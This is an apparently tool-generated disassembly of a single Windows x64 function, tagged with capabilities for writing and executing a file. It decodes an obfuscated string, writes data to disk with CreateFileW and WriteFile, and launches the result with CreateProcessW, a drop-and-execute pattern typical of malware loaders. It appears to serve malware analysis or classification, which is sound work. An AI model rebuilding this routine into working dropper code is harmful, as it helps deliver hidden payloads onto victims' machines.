Function at 0x14003da5c
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0xe8]
sub rsp, 0x1d0
mov qword [rbp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
lea rcx, [rbp + 0x30]
call fcn.140047154
nop
xor esi, esi
cmp qword [rbp + 0x40], rsi
je 0x14003dd5a
call fcn.14003dd8c
lea ebx, [rsi + 0xf]
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
cmp byte [rax], sil
jne 0x14003dab8
mov r8d, esi
jmp 0x14003dac5
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x14003dabc
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14000159c
nop
lea rdx, str.NULL
lea rcx, [rsp + 0x50]
call fcn.1400123fc
test al, al
jne 0x14003dd47
cmp qword [rsp + 0x60], 0xb
jb 0x14003dd47
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], sil
mov r8d, 9
lea rdx, [0x14005aab0]
lea rcx, [rbp - 0x50]
call fcn.14000159c
nop
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x60], rsi
mov byte [rbp - 0x70], sil
mov r8d, 0x14
lea rdx, str.GDUSGwwcHRoMagwZCA
lea rcx, [rbp - 0x70]
call fcn.14000159c
nop
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.14003ca58
nop
cmp qword [rbp - 0x58], 0x10
jb 0x14003db60
mov rcx, qword [rbp - 0x70]
call fcn.1400208dc
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x60], rsi
mov byte [rbp - 0x70], sil
cmp qword [rbp - 0x38], 0x10
jb 0x14003db7c
mov rcx, qword [rbp - 0x50]
call fcn.1400208dc
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], sil
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r8, qword [rbp - 0x30]
add r8, qword [rbp - 0x20]
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov r14d, 7
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x20], rsi
mov word [rbp + 0x10], si
lea rcx, [rbp + 0x10]
call fcn.14001224c
nop
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
add r8, qword [rsp + 0x60]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov qword [rbp + 8], r14
mov qword [rbp], rsi
mov word [rbp - 0x10], si
lea rcx, [rbp - 0x10]
call fcn.14001224c
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.140006874
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x10]
call fcn.14003d6d8
mov rdi, rax
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003dceb
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0xf8]
mov r8d, dword [rbp + 0xf0]
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x60], 0x68
xor edx, edx
lea r8d, [r14 + 0x59]
lea rcx, [rbp + 0x68]
call fcn.140023a90
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
cmp qword [rbp - 0x78], 8
jb 0x14003dcfc
mov rcx, qword [rsp + 0x70]
call fcn.1400208dc
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
cmp qword [rbp + 8], 8
jb 0x14003dd19
mov rcx, qword [rbp - 0x10]
call fcn.1400208dc
mov qword [rbp + 8], r14
mov qword [rbp], rsi
mov word [rbp - 0x10], si
cmp qword [rbp + 0x28], 8
jb 0x14003dd36
mov rcx, qword [rbp + 0x10]
call fcn.1400208dc
nop
cmp qword [rbp - 0x18], 0x10
jb 0x14003dd47
mov rcx, qword [rbp - 0x30]
call fcn.1400208dc
nop
cmp qword [rsp + 0x68], 0x10
jb 0x14003dd5a
mov rcx, qword [rsp + 0x50]
call fcn.1400208dc
nop
cmp qword [rbp + 0x48], 8
jb 0x14003dd6a
mov rcx, qword [rbp + 0x30]
call fcn.1400208dc
xor eax, eax
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret